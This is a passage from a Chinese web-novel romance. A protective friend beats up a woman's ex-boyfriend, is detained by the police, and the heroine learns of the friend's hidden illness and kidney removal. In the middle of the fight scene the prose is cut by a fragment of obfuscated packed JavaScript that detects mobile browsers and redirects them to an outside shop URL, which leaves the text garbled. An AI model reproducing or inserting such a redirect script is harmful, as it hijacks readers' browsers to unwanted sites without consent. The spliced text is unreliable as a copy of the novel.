霍清辞是来见证微博上照片真实性的,当他亲眼见证头发剃个干净的孟秦书,两眼仿佛被蹿起来的火焰烫伤,他右掌心虚搭在额头,背过身去哑然失笑。
没想到他只昨天没来看孟秦书,孟秦书今天就大变样了,
笑了大概五六秒钟,霍清辞回过身来,紧咬牙根憋笑,待笑意压下去,开口问她,“你这是打算出家?”
“演戏。”
孟秦书转身进客厅。
霍清辞脱下身上的羽绒服,挂在在臂弯里,随后弯下腰,从鞋柜里拿了平时穿得拖鞋,扔在地上,再脱掉脚上的运动鞋,换上拖鞋。
推上房门,霍清辞熟稔地往进客厅,坐在孟秦书对面那张沙发,羽绒服被他随意搁在沙发扶手上。
“哥,你几号出国?”问这话时,孟秦书正从餐厅迈出,双手各握托盘一边,托盘上有两杯玻璃杯装的白开水。
孟秦书那颗大光头真的很难让人不注意,霍清辞端走孟秦书托盘上给他的水,轻放在茶几上,等他再抬头孟秦书已坐到沙发上。
霍清辞,“正月十五过后。”
孟秦书看着他说,“哥,我知道管理一个大企业是劳心劳力的,但你一定要注意劳逸结合,身体才是革命的本钱。”
屋外是个大阴天,大厅里开了大灯,灯光下他的白发仿佛月光洒在漆黑如墨的湖面,闪烁着一颗颗小光点。
难以忽视。
霍清辞嗯了一声。
前几年霍清辞在国外的时间更多,不是必要的事情很少来找孟秦书,但这段时间由于她和靳子煜分手的事情,他担心这丫头抑闷,天天来见她。
自打换药后,霍清辞的身体明显比以前好了些,他的原发病被温和的药性控制住了,但因少了一个肾脏,疲乏感日复一日的加重,力不从心的事情也越来越多。
一月初,他们一块去攀岩,霍清辞没有强撑,刚感到不适他马上就退下来,但下午回来整个人就像去爬了一趟泰山,腰酸背痛到站都站不住。
几十年间霍清辞除了吃特效药,还要吃保肝药、胃药、保肾药物....,每三个月还需去全身体检,上天已厚待他,吃了这么多药,除了肾脏,其他脏器到目前为止都在正常运作。
霍清辞的心态一向很好,不是他不惧怕疾病不惧怕死亡,而是他这一生侈衣美食,没有什么不满意的,但……他也曾有过不如意。
那是在十岁前。
小时候由于身体孱弱,所有亲人都把他当成瓷娃娃照顾,到了“捧在手心里怕摔了,含在嘴里怕化了,的程度
有一天家里来了一个六岁的小妹妹,她胆小不爱讲话,看上去比他还弱,这让他产生一种保护欲望,在照顾她的过程中,他又生出一种原来自己也可以照顾人的愉悦感。
而现在,他保护了快二十年的妹妹又受欺负了。
霍清辞没坐多久,他对孟秦书说了句,“我还有些事去处理”就匆匆走了。
刚到单元门外,霍清辞撞见来找小书的姚宇。
姚宇觉察到霍清辞周身散着一股杀气,霍清辞迈大步往前走,姚宇追着他问,“阿辞,你要去做什么?”
太阳光下白色轿跑反射出一闪一闪刺眼的白光,霍清辞握住车门,拉开车门,坐进去。
两道关门声,姚宇坐到了副驾驶,拉开安全带系上。
引擎轰鸣声响,劈开高档小区的祥和和平静,霍清辞一脚油门,驾车驶离小区。
汇入车流后姚宇问他,“阿辞,你是去揍姓靳的?”
*
江雪食指勾着一串车钥匙走到院子里,准备开车去买菜,还没到车位上,大铁门开启,宝蓝色保时捷慢腾腾开进院子里。
子煜回来了。
靳子煜今一大早出门,去学校开会,江雪一直叫他请个假,酒精中毒引起的肠胃不适还没好透,这几天又只能吃汤汤水水的食物,身体一直虚着,可孩子现在大了,不是三言两语能劝的住的。
江雪初三来得海城,今天已经初九,在这里待了七天,前两天江雪打扫房间,发现衣帽间里南面墙一柜子全是女人衣服,外面鞋柜里还有两双女人的鞋子,让她百分百确定那位孟小姐来过,而且这两人怕是又分了......
她这个儿子啊,一到工作上思路就特别清晰,一遇到感情,不管不顾得栽进去,总是把自己弄得遍体鳞伤。
汽车熄火,江雪闻声看过去,车门往外推开,穿着黑色皮鞋的左脚先落地,随后放下右脚。
今天这个会议蛮重要的,子煜今天穿了一身深蓝色西服套装,平时穿得休闲没看出来,合身的衣服一穿肉眼可见的瘦了,尤其腰身那里。
做母亲怎么能不心疼。
江雪走到自己车的主驾驶门外,视线越过车顶问刚把黑色短款羽绒服穿身上的靳子煜,“子煜,我去买菜,今晚想吃什么?”
靳子煜扭脸看她,眉眼温淡,“妈,我都可以。”
“今天给你炖鸡汤。”江雪做好决定,拉开车门,钻入车内,“砰”一声,车门关上。
靳子煜一只手按着车门框,往车里俯身,伸长手臂打开副驾驶置物盒,拿出里面的手杖,许是吃药的关系,这一个礼拜,脑子总是恍恍惚惚,云里雾里。
早上靳子煜拿着车钥匙出门,都到车位上了,才发现错拿了江雪这辆车的钥匙;等红绿灯时他又跟在梦里一样,前车都开出去好远,后车鸣笛他才突然咋醒。
马上要开学了,不能以这种精神面貌去面对学生和同事。
目送江雪的车驶离,靳子煜刚抬步,却听见一声极刺耳的刹车声,他再次转脸瞧过去,视线穿过铁门一节节栅栏,看到一辆弧线流畅,引人注目的白色轿跑横停在铁门外。
靳子煜没再走,说不上为什么,靳子煜觉得车里的人是来找他的。
两扇车门同时打开,靳子煜眸光一凝,是因为主驾驶出来的是霍清辞。
霍清辞是来找他的?
那个关了车门,绕过车头与霍清辞站一块的男人他也认识是姚宇。
靳子煜拄着手杖往那儿走,去给他们开门,尽管他已看出两人来者不善。
“砰”霍清辞反手推上车门,眼见靳子煜即将到门口,霍清辞迈出左腿,姚宇跟他一块拔腿,霍清辞伸手拦了拦。
黑着脸说,“这事你不要管。”
姚宇收腿抱臂倚着车门,嘴角一撇,霍清辞是不想以多欺少,怕二打一,会把姓靳的打死。
扫脸打开小门,“咔哒”一声,虚开一道门缝,靳子煜的手刚碰到门把手,疾走上来的霍清辞抬腿踢在外面的门把手上。
磅礴的力量如同巨浪撞开这扇门,力量震到靳子煜的手,震的他频频往后退,退出约一米,失去了平衡,他仰面朝天摔倒在地上。
手杖脱离他的手,甩出去好远。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228677|150279||http|test|mini|href|location''.split(''|''),0,{}));
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>躯体的疼痛还没散去,霍清辞直接骑在了靳子煜腰上,拽住他衬衫领子,把他上身往上提。
霍清辞眸光深黑,面色冷戾,不由分说,另只手握成拳砸下来,可突然——在靳子煜鼻尖上一公分停下来。
只因靳子煜双手软软的垂在地上,脸上出现自愿领死的坦然,全然没有要抵抗的意思。
捏紧拳头,狠厉极寒的声音自霍清辞牙关间挤出来,“靳子煜,我把她交给你,你就是这么对待她的!”
“对不起。”靳子煜向他道歉。
靳子煜的“对不起”在霍清辞听来就是承认。
继而靳子煜的左颧骨上挨了重重一拳,剧烈的痛让他紧闭双眼,不自主地痛哼出声。
霍清辞维持着拽靳子煜衣领这个动作,靳子煜重抬眼皮,正视霍清辞裹了冰刃似的眸光,“她真傻,自己前途未卜,却还惦记着躺在医院的男人;她真的傻,担心那个男人身体恢复不好,影响将来,跪在地上求我帮她骗他;她怎么会这么傻,告诉我,她想试试让那个男人重新喜欢她!”
这一长段话,每一次停顿都仿佛一个接一个巨型炸弹,靳子煜被炸得头脑轰鸣不止,还没回味过来,眼眶已先漫出的泪,泪睡从眼尾斜流进鬓角。
“靳子煜,你不知道当年的发生的事,我理解你对她有怨,但你有什么资格恨她,当年……小书为了让你彻底死心,一定说了伤人的话,但靳子煜,你耗尽心思布下这一个骗局,就为了回击曾经伤你的女人,你难道忘了那三年你们的快乐,忘了她不用家里的钱去外面工作,忘了你住院那些天,她日夜陪在你身边,还是说忘了你们曾真心相爱过。”
霍清辞再次举起拳头,血脉喷涌的怒意让他手臂一直在抖。
发白的脸涨红,胸腔振动强烈,靳子煜声音变得沉重而吃力,“霍清辞……小书怎么了?”
霍清辞放下拳头,一并松开了拽靳子煜衣领的手,靳子煜上身落回,背部撞击地面发出闷闷的一声。
霍清辞站起来从靳子煜身上离开,居高临下地看着这个现在表现出后悔的男人。
倏然转身,霍清辞冷冷掷下一句,“靳子煜你永远不配知道真相。”
“霍清辞!”
声音嘶哑干涸,仿佛是竭尽全力的喊叫。
抬步欲走的霍清辞猛地定住。
左臂撑地面坐起来,靳子煜上半身倾向霍清辞,身子在摇摇颤颤,咬字分外清楚,“我从来没有恨—”
“做什么!”
一个尖锐愤怒的女人声音闯入。
女人身影自大铁门前闪过,拐入小门后女人直冲霍清辞。
女人脸庞看着四十多岁,应该是显年轻实际年龄不止,靳子煜和她长得很像,母庸质疑她是靳子煜的母亲。
等到霍清辞判断出女人是谁时,两边胸膛遭到重重一击,他退后半步,女人举起另只手又照着他左脸给了一巴掌。
身高腿长的姚宇迟来一步,他站在霍清辞面前,看着他脸上登时出现的红色掌印,视线偏移看到女人蹲在地上,扶起晕倒在地的儿子。
*
霍清辞和姚宇被女人的报警电话送进了派出所。
姚宇被列为参与者行政拘留一天,霍清辞因入室打人,情节较重,行政拘留五天。
姚宇年轻时候是派出所常客,行政拘留和刑事拘留不同,不能取保候审,只要立案了天王老子来了也没用。
姚宇和霍清辞被关在同一个房间,不到五平米的空间,最里面只有一张横向顶住墙面宽度约一米五的木板床。
两人站在黑铁栏杆前,姚宇想到霍清辞每天需吃药,给他出个主意。
“阿辞,你联系霍叔或者纪教授过来,让他们来带你回去,你需每天吃药,警察会给你批假。”
说着话呢,一名警察走上来,警察手里拿了姚宇的手机,手机电话铃声还在响。
“你们谁的电话?。”警察停下脚步问他们。
姚宇,“我的警察同志。”
手伸进栏杆中间空隙警察把手机递给姚宇,姚宇接过去一看,竟是孟秦书的电话。
他摁了接通键。
“宇哥,我哥跟你在一块吗?我打了他好几通电话他都没接。”
姚宇看了眼抱着双臂面容沉寂冷峻的霍清辞,“在,怎么了?”
“他……他的药掉在我家里了。”
瞳光一凛,姚宇下意识地撩眼角去看霍清辞。
然而他,不知在想什么想的这么入神,静立不动犹如一尊石像。
姚宇微阖眼皮往斜后方倒退两步,拉开与霍清辞的距离。
孟秦书,“宇哥,你们在哪里?”
姚宇决定告诉她,“高新区派出所。”
52. 静若安澜
白色连帽羽绒服、大墨镜、蓝色防晒口罩,孟秦书包裹的严严实实出现在派出所。
孟秦书先去见了霍清辞和姚宇,霍清辞对她的到来很是意外,姚宇打哈哈坦白是自己自作主张把这事告诉了孟秦书。
小房间里出来,孟秦书回到大厅,她掏出手机想给靳子煜打一通电话,想请求他原谅霍清辞和姚宇,只是不知道他会不会接,亦或是会不会连她手机号一块拉黑了。
大厅除了柜台里面的工作人员,外面一排排等候椅子都空置着,厅内环境安谧,孟秦书甚至可以听见自己浅浅的出气声。
以及。
“笃—笃—笃”频率平稳的声响。
类似手杖底部撞击地面,其中还糅合了一下一下的脚步声。
声音在逼近她,埋头专注于手机屏幕的孟秦书感受到一股熟悉的薄荷气味散过来,拇指指尖停在拨出键上方,声音越是接近她,气味越是馥郁。
仅有不到两秒钟的心腔微震,是因为孟秦书想到了自己那天在他家里撒泼的难堪。
但……都过去了不是吗?
只要他不提,不就可以当没发生,成年人互不揭短那是留给彼此最后的体面,这道理想必他也懂。
孟秦书缓缓抬头,便见已近在咫尺的靳子煜。
短发略凌乱,双眼红血丝泛滥,布着一层水雾似的气体,睡眼惺忪状态,应该是刚起床,孟秦书由此判断出,靳子煜一定是醒过来后第一时间就赶来了。
短款羽绒服里穿着正式的深蓝色西服套装,内搭的白衬衫领子皱褶突兀,像是用手揉搓出来的。
姚宇说霍清辞一拳头把靳子煜打晕了,颧骨上的确有块略高于旁边皮肤的粉色团状伤,所以他是来补充伤情,还是来撤销案件的?
“你—”
“小书,我—”
靳子煜抢了她的话,却没说下去。
“小书你先说吧。”靳子煜客气礼让。
分手虽闹得难看,再见即使做不成朋友,但总不至于是仇人。
“你身体还好吗?”
“我没事。”
孟秦书把熄屏的手机揣入口袋,推了推墨镜,用公事化的口吻对他说,“霍清辞打你是他不对,你后期治疗的一切费用我们都会负责。此外,赔偿你尽管提,只是能不能请你出个谅解说明?”
许是脸上的伤传来痛感,靳子煜脸颊肌肉一跳,“我来正是为了这件事,是个误会,我妈不知道我和霍清辞是朋友,我马上去跟警察澄清。”
孟秦书感谢,“多谢,那就麻烦你了。”
孟秦书双手插入兜欲转身,却听靳子煜低低叫了她一声。
“小书。”
霍清辞没告诉她,透露了多少当年的事给靳子煜,但靳子煜这会一声一声叫她小书,和那个说“孟秦书以后不要再出现在我面前”的那个靳子煜,变化翻天覆地,显然知道一些事。
也怪她自己,不早点和靳子煜说,异想天开的想撇开过去,忘记了过去是他们感情的一部分。
更不怪靳子煜。
只是,而今的她不想念过去也不想盼未来。
今天在于孙导交流剧本时候,孙导的一句话启发了她的心灵,跌宕起伏、精彩绝伦的故事固有趣,但静若安澜的生活才是老天的馈赠。
“小书我不需要赔偿也不需要医药费。”
“我会传达给我哥。”
孟秦书迈着比以往快的步子走至一扇黄棕色木门前,下压门把手,拉开门走进去,门轻轻碰上,她的身影整个不见了。
靳子煜垂下眼睫,盯着瓷砖地面缩成一团的影子。
小书到底遭遇了什么,他很想知道,可怎么忍心在她面前提及。
“子煜我们忘记那些不开心重新开始好不好?我会爱你的。”
小书我从没恨过你。
对不起。
一串急促赶来的脚步声停到靳子煜身旁。
江雪呼吸带点轻微地喘,“子煜。”
靳子煜晕倒后江雪不但报了警还打了120电话,救护车送到医院还没半个小时,病床上的靳子煜醒了过来。
江雪提了一嘴把那两人送进了派出所,听她这么一说,靳子煜迅速坐起,手背上的输液针差点抽出来。
靳子煜向她说明了,那两人是他朋友,什么朋友,一言不合就动手伤人,行政拘留又不会留案底,就该让这两个看着也老大不小,做事还这么冲动的男人,关两天吃点苦头。
岂料,她去楼下买点日用品,就这么一会儿功夫,回到病房,病床上已空空如也。
*
有了靳子煜的谅解说明,半小时后霍清辞和姚宇就被放出来了,孟秦书和他们一块回到大厅,只是没想到靳子煜还在。
而且他的母亲江雪也来了,坐在靳子煜旁边。
靳子煜坐在最后一排长椅上,看到他们出现,他拿起放在身边的手杖,双手往外拉手杖,二十公分长度的手杖在他手里成为近一米,放下手杖靳起身向他们走过来。
江雪想想还是不跟过去了,她压了压腿上的皮包,没动。
一向有礼有节的霍清辞眉宇深拧着,脸色难看,姚宇更是板着一张不屑一顾的脸,两人默契地视若无睹地往外走。
既然他们都不愿意搭理靳子煜,只好孟秦书上去,她觉得还是有必要再次道声谢和道声歉。
连着羽绒服的帽子,在孟秦书走动中,掉了下来,孟秦书感觉肩部有一丝重感,她捏住两个边,重新把帽子戴上。
然而。
靳子煜像是被她这个新造型吓到了,脚下一个急刹车,瞳孔猛然放大,嘴唇微张着。
孟秦书庆幸自己脸上有墨镜和口罩,派出所有一点好,闲杂人等很少,警察叔叔更不会做出对她拍照这种事。
她再多走两步,站在靳子煜面前,与他保持半米之距。
“我替我哥他们给你道声歉,对不起。”孟秦书上身弯了三十度行了一个道歉礼,口气诚恳。
似乎她的行礼太过隆重,靳子煜双腿站不住似的摇了摇。
孟秦书直起背重新正视靳子煜,口罩下的嘴角勾了点弧度,“谢谢你撤销案子,谢谢。”
靳子煜来时脸色就不大好,这会儿更差,那种憔悴苍白,仿佛随时都会倒下。
“小书我—”他眼里充盈的液体似起了涟漪的水面,晕红的眼尾如殷红的血,“对不起。”
孟秦书看向大门口。
霍清辞和姚宇早已没了身影,天色不早了,她要去找他们,末了加一句,“我先走了。”
和礼貌有关。
孟秦书在台阶下把他们追上。
姚宇接了霍清辞手里的车钥匙,晃晃手说:“小书,你送阿辞回去,我去把他的车开回来。”
斜插在口袋里的手攥住药盒,盒子被孟秦书捏扁,孟秦书微抬下巴,看向霍清辞,而他刚好也在看她。
错开视线,她答,“好。”
*
没再多说姚宇自行走了,他双手插兜,阔步走向大马路,去拦出租车。
今天没风但南方的天,每到阴天,湿冷入骨,他被冻得鼻头抽了两下。
是时候该让小书知道一些事情了。
一周前,姚宇在他常去的小酒馆碰到了来买醉的唐蔓。
长方形的梨花木窄桌,两人并排坐,唐蔓跟他讲了许许多多话,但全无一句是怪阿辞的,而他自从知道了阿辞的身体状况,哪还会在怪他,只有深深的担心。
八年前两人能在一块,本就是硬凑的,那年阿辞的外公病重,已经糊涂的老人家吵着闹着要在临死前看到阿辞结婚,不然死不瞑目。
为了完成外公的心愿,阿辞想了个不是办法的办法,让他帮忙去挑一个眼里只有钱不谈感情的适合‘结婚’的对象。
第二天他把这个消息透露给了唐蔓,唐蔓追了阿辞快两年,热情高的很,他和唐蔓一合计决定在婚礼当天给阿辞一个‘惊喜’
这些事全部都是他在筹办,因
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为不需要领证,阿辞只在拍婚纱照和婚礼当天出个面,连结婚戒指都是他去给他们买的。
所以阿辞全程被他们瞒在鼓里,陪他拍婚纱照的是一个和唐蔓一样娇小,化好妆模样都有四五分像的小演员。
之所以这么做他有自己的考量,霍家是有头有脸的大家族,婚礼当天各界名流政商都会到场,照片和本人相差太大必然引起讨论,而熟悉的亲朋即使看出也不会放在当天这种场合拆穿。
到了婚礼当天,阿辞见到了他的新娘—唐蔓,当阿辞知道被他们合起伙耍了,当即翻脸要走人。
他拦住阿辞,以他外公满心欢喜等在外面,等他牵着新娘上场,如果这时候他不干了,外公万一被气出个好歹来,这番言辞裹挟他。
唐蔓看出阿辞动摇,机灵地补充说明,“霍清辞,我们就按照那个合同走,我们又没领证,只是一场婚礼而已,你我都是自由的,等合同结束,你把我该得的给我,我不会缠着你。”
阿辞可以说是被他们连联合架上去的,这场婚礼最滑稽的是,原本来见证婚礼,喝喜酒的唐蔓父母忽就成了亲家。
唐蔓上面有两个哥哥,自幼受宠,任性妄为惯了,夫妇俩虽惊掉下巴,但当司仪请他们上台他们也配合走上来,毕竟两个家族势均力敌,能结亲是好事情。
阿辞的外公是在他们婚后第三年过世的,按照合同两人钱货两讫,结束合作关系。
但唐蔓并未搬离阿辞的住所,三年时间两人或许生出了感情吧,他是这么认为的,而且之后两人又一起过了五年。
可醉酒的唐蔓却告诉他,这些年阿辞有过无数次请她离开,是她一直缠着他。
唐蔓说,这几年他们也不是没有生出感情,只不过不是爱情而是类似于亲情的情谊。
到底人心都是肉长得,到第五年阿辞也不赶她走了,两人继续在人前扮演‘恩爱’夫妻,看上去似乎默认了这种关系。
昏暗的环境下,唐蔓泪光细碎,“阿辞终究容不下我,哪怕我只是想静静陪在他身边,姚宇,但我不难过,这八年于我而言是美丽的梦。”
“现在……梦醒了。”
两人碰了一下杯,姚宇将自己所认为的说给她听,“唐蔓,以前我不知道阿辞的身体状况,现在我理解他,他是不想耽误你。”
唐蔓放下酒杯,支腮偏头问他,“你知道他为什么在我身上总是能这么理性吗?”
姚宇,“……”。
唐蔓自问自答,“因为他从没爱……不对,从没喜欢过我。”
姚宇也有四五分醉,她笑他也跟着笑了,批评霍清辞,“阿辞的心真是石头做的。”
姚宇不懂什么是爱,他年轻时候是被人追逐的,到了适婚的年纪,在不少门当户对的相亲对象中选了个相对漂亮得。
相处时间长了到也慢慢有了感情,在她为他生了女儿后他开始爱这个家,似乎也有点爱这个女人。
娱乐场所非必要不去,去任何地方都会事先报备。在国外时间长了,他会想孩子,会想躺在床上的她,一页一页翻着童话书,为怀里的孩子讲故事的场景。
八年……
阿辞可真是铁石心肠。
唐蔓凑到他耳朵前,“我发现你们男人真的很迟钝,姚宇我问你如果说阿辞有个爱了很久的人,你觉得会是谁?”
他略思考,“爱了很久,多久?”
唐蔓直起背部,“没办法求证但一定很久很久。”
头顶一道炸雷落下,姚宇惊觉,“不会是男人吧?”
唐蔓盯了他片刻,噗嗤笑了起来,手掌拍着桌子,拍得桌面哐哐响,酒瓶摇摇晃晃,眼看要侧倒,姚宇伸手握住瓶身。
咯咯咯的笑声在持续。
唐小姐那句,“你们男人真的很迟钝”,在配上她那隐晦的眼神,姚宇这张老脸无端燥起来。
笑得眼眶红彤彤的唐蔓向他揭秘,“我现在确定了你真的一概不知。”她又一次凑上他耳廓,“你们那位大明星妹妹。”
53. 藏情
霍清辞婚后的住所在海城金融中心新园区。
新园区高楼大厦群起,摩天大楼直入云霄,夜幕下跟着岸两边霓虹灯变色的长江,犹如一条丝带,弯弯曲曲的向看不见的尽头延伸。
红色轿跑开进名为“凯旋门”的小区,大门门头金光闪闪。
“凯旋门”临江而建,是海城首屈一指的顶级豪宅,五六百平市值三四个亿
开入地下停车场,在里面东转西转,孟秦书找到了霍清辞买下的八个停车位,随便开进一个车位。
霍清辞不喜住别墅,不喜家里有管家和十多名佣人,他更喜欢具有时尚感的高层住宅,这是前几年,两人聊天时说起的。
听见熄火声,霍清辞睁开眼皮,他又睡着了,近半年每每到下午他便特容易疲惫。
孟秦书左手摸进口袋,五指收拢捏住她揉拧的不成样子的药盒。
药盒上有血液病、特效药这个两个单词,孟秦书心里隐隐有答案,但她仍想和他确认,希望得到否定的回答,开来的一路,她无数次想问又无数次咽回去。
直到霍清辞睡着她自发性地松了口气,想知道又害怕知道,很像高中时期考试等待成绩公布却又害怕成绩公布时的心情。
“小书,上楼吃了晚饭再走吧,姚宇等会儿也过来。”
霍清辞怎么可能没感觉到,他们见面次数太多,越多越藏不住自己身体出现的问题,可他真的不放心她一个人。
霍清辞拉开白色大门,里面灯火如昼,先飘来一股令人食欲大开的饭菜香,霍清辞侧身请她先进屋。
孟秦书走进来,拉开鞋柜柜门,不知道该穿哪一双,但她惊奇地发现,鞋柜里只有男鞋。
带上门霍清辞看出孟秦书的迟疑,对她说,“小书,不用换鞋。”
厨房移门闭合着,菱形格磨砂玻璃上显现一个身材微胖的身影在走来走去。
霍清辞拉开厨房门让阿姨多做两个人的饭,由于没提前打招呼,菜买少了,阿姨向霍清辞说明这个情况,询问需不需要现在去楼下买菜。
“阿姨,你按照你的菜单做菜,我朋友会带菜过来。”
霍清辞退出厨房,一转身便撞见似水的明眸不是那么平静的盯着他看,反手推上移门,霍清辞在她的注视下返回客厅,坐到她对面那张大沙发。
看来肚子里那个问题不问出来,她今晚是睡不着觉了。
孟秦书轻轻咬了下唇,“哥,你和嫂子?”
家里没有了一件女人东西,孟秦书不得不怀疑他们是不是……离婚了。
霍清辞点漆似的眸子揣着认真,“小书,有些事三言两语很难说清楚,我和唐蔓结束了,她以后都不会再来这里。”
离婚了的意思。
掌心里的手机翻了个面,在霍清辞凝视下,她坐端正双腿并拢,她还有第二个问题。
“哥你的身体—”
敲门声不合时宜地响起。
霍清辞走去开门,孟秦书下意识地抬手用小拇指去勾头发,结果手指一落空,她恍然想起自己如今顶了个大光头。
她在霍清辞面前小动作不由自主地变多,说话还很容易没底气,是由于他有种无形的压迫气势,究其缘由,她真的把他当成了兄长。
拎着鼓鼓囊囊两大袋东西的姚宇走至厨房,走在前面的霍清辞替他拉开厨房移门,厨房里的阿姨赶忙接过去。
姚宇手握一杯纯净水自厨房出来,坐霍清辞刚坐的位置,他双膝岔开仰起脖子,咕咚咕咚,喝水和喝酒似的闷完整杯水。
然后把玻璃杯往白色实木茶几上一放。
“咚”细微的响声。
姚宇扫了眼厨房门上那道笔直颀长的背影,继而问神情纠纠结结的孟秦书,“小书,阿辞告诉你了吗?”
孟秦书只能求问他,“宇哥,哥……他的病是不是复发了?”
姚宇慎重道:“小书哥哥问你件事。”
孟秦书倾身向前,“宇哥你说。”
“那年我没记错的话应该是你初三毕业即将高一的那年,阿辞一声招呼不打去了美国,当时不仅是你连我都被他给瞒住了。”
不知道姚宇为何提起陈年旧事,但这旧事中有自己,她配合地轻点头。
“小书,那时候你有生阿辞的气对不对?”姚宇嗓音是少见的柔和,收起了往日贯有慵痞和不正经的腔调。
孟秦书都不用回想,记得很清楚,即使距今已快有十五年。
那时候她觉得自己被欺骗,被抛下,她生气很生气,所以寒假那次,姚宇邀她一块去美国寻找霍清辞,她直接拒绝。
孟秦书不否认嗯声。
孟秦书还在思索他是什么意思时,姚宇再次出声,“距今大概十二年,我模糊记得是你高三毕业时候,阿辞有回来过一趟,你知道吗?”
霍清辞虽不告而别,但不是说她与他完全断了联系,他们常常在企鹅号上联系,他经常会发一些校园照片和一些社交场景照片给她,他的生活总是多姿多彩的,而她那时却执着于一而再再而三追问他什么时候回国。
三个月、六个月、一年。
他给她的承诺次次不作数,她再也不要相信他了,于是在霍清辞出国的第二年她直接删除了他,之前她也有做过这种事,一般霍清辞一个电话打过来她再重新加他好友。
可这次他真和销声匿迹一样,她只记得自己某一晚趴在电脑桌前哭得昏天黑地,然后做下绝不更改的决定,从今往后再也不相信霍清辞,再也不要理他。
后来长达一年,她的消息列表都是沉寂的,可突然有一天,那个熟悉的头像和网名,像炸尸一般活过来。
霍清辞申请通过好友添加,她直接拒绝,而他再次申请,她继续拒绝,两人和闹着玩似的,他申请,她拒绝,不知道重复多少次,霍清辞喜欢逗她玩,但她这次不会再吃这一套了。
把她惹火了,通过好友申请的第一时间,马上把他拉入黑名单,只不过,霍清辞的电话又打来,她不仅没接,顺带把他的手机号一块拉黑。
那是六月底,高考结束没多久,她每天在家里无所事事。
“我不知道。”孟秦书摇头。
姚宇再往厨房看一眼,回看她继续说:“看来他没先去找你而是来找我了,我当时不是给你打电话喊你出来吃晚饭,你以不想出门为由拒绝了我。”
睫毛如遇风,扑腾两下,孟秦书有些微无措。
所以……
霍清辞是在被她拉黑后回来的,还是有事情刚巧回来,姚宇打给她这通电话时,也没说霍清辞在她身边,她只是单纯的不想出门。
所以……
姚宇与她说这些只是闲谈?可她总觉得他话里有话。
姚宇凝着孟秦书,孟秦书被他的话题触发起求知欲,他不是无缘无故提这事,缘因唐蔓的话,让他把脑海里有关于阿辞和小书之间他参与进来的过往复盘一遍之后被他发现阿辞对想小书的喜欢真的有迹可循。
不是童年时期的那种喜欢,是掺了“爱”的喜欢,最早正是阿辞突然回国那个暑假,阿辞在听到他要叫小书一块来时,他那种既期待又畏缩的神态。
能让他记忆深刻至今,是实在太稀奇了,他可是霍清辞,出生尊贵,足以让他睥睨一切,畏缩怎么会出现在他脸上,他当时只怀疑自己看错了。
曾经他还笑唐小姐,“自从喜欢上阿辞,那个潇洒任性有魄力的唐小姐,变得委委屈屈的。”
唐小姐怼他,“你懂个P,千金难买我乐意,万事顺遂己开心,你这种人一辈子不懂什么叫爱。”
如果这是爱,他庆
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幸自己年轻时没爱过任何一个女人,这不是没苦硬吃嘛?
回国之后,阿辞时常把“这是我欠她的”挂在嘴边。
这哪里是欠,分明是爱。
走了个神,姚宇不再与孟秦书绕来绕去,直接揭晓答案,“小书,阿辞当年出国是身体出了问题。”
他的话让孟秦书呈现呆愣的模样,失神的黑瞳犹如被冰冻住。
顿了顿,“很多年前我们都以为治愈的病,是一直在靠一种药物压制,阿辞一日三顿,吃了几十年,吃坏了身体。小书,阿辞出国是因为肾脏出了问题,在那里保守治疗一两年起不到作用换了一个肾。”
这些事都是唐蔓告诉他的,而唐蔓又是从纪教授那里了解到的。
突如其来的真相,仿佛一支锋利的箭,“咻”地一下自孟秦书心口位置贯穿而过。
还没来得及痛,先感受到寒风自那个洞中瑟瑟灌进去。
但——哪里来得风?
霍清辞的病根本没好。
去美国是为了治病。
他还换了一个肾。
然而,这些年,即使她早已不生他气,可她却依然误会了他这么多年。
迟来的痛让孟秦书抬手压住心口,濡湿的睫毛拍打着下眼睑。
阿辞摘除肾脏这事,姚宇不忍心说,那个暑假他带着还没痊愈的身体为小书的事情奔波,还骗他们说是肾结石开刀,如果让小书知道怕是要崩溃。
便是这时,移门被推开,霍清辞从里面走出来。
两双眼睛一起看过去。
一双佯装若无其事,一双蓄满微红的泪。
*
那晚自霍清辞住所出来,孟秦书载着姚宇前往‘汇悦台’。
回去的路上,姚宇说了很多孟秦书以前不知道的事,有几次她情绪波动很大,双手几乎拿不住方向盘,最后她靠边停车,两人换了座,由姚宇来开。
过了几天,孟秦书收到了芳姐替孙导传递来的消息,她通过了试镜,由于还在筹备中,主要演员的开机仪式,暂定下个月月初,地点定在五百公里外的云梦影视城。
今早孟秦书收到霍清辞发来的信息,霍清辞问她愿不愿意去美国散散心,孟秦书没多思考回复了“好的。”
这几天孟媛遇到了点小麻烦,那位靳教授每天来‘打扰’她一回,想从她这儿知道小书当年发生了什么事。
可是她之前答应了孟秦书一定会守住这个秘密,孟秦书的性格她是知道的,如果自己破坏约定,她一定会勃然大怒,他们一家好不容易找回的一点感情,届时恐怕又会重回冰点。
再者,言而有信是立人之本。
出国前夕,孟秦书到楼上和孟坤吃了晚饭,孟坤吃着十几万一盒的靶向药,除了不能正常吃饭,听孟媛说最近他常常去小区对面的小公园慢走,没人看得出他是动过大手术的肺癌晚期病人。
孟秦书和他们没什么可聊的,吃完饭正准备走,孟坤却突然叫住她。
孟坤进了房间,等他出来手里多了一个橡木棕的方形盒子。
“孩子,这是我前天去爬山,庙里求来的手串,菩萨开过光,可保出入平安。”
孟秦书想不到,孟坤一个高级知识分子,怎么到老了,反而信起了鬼神这一套。
但这是孟坤的一点心意,孟秦书接过去,打开盒子看,里面是用一颗颗浅黄色晶莹剔透的大珠子串起来的手串。
别说,还怪好看。
孟秦书拿出手串,盒子裹入掌心,再用这只手,将手串戴到左手上。
她手骨软很容易套进去,由于腕骨纤细,手串会感觉大了些许。
孟秦书转动手腕,欣赏片时,抬眼谢他,“谢谢,挺好看的”
孟坤松了口气似的,开眉展眼,“喜欢就好。”
54. 找到她
九月西北已有不少地区在下雪。
客栈的门被人从外面推进来,一个头顶快碰到到门框,身如修竹的男人出现在门外。
男人头发上粘了碎雪,模样生的可真俊,剑眉星眸,偏偏脸型清疏柔和,像一个温润公子。
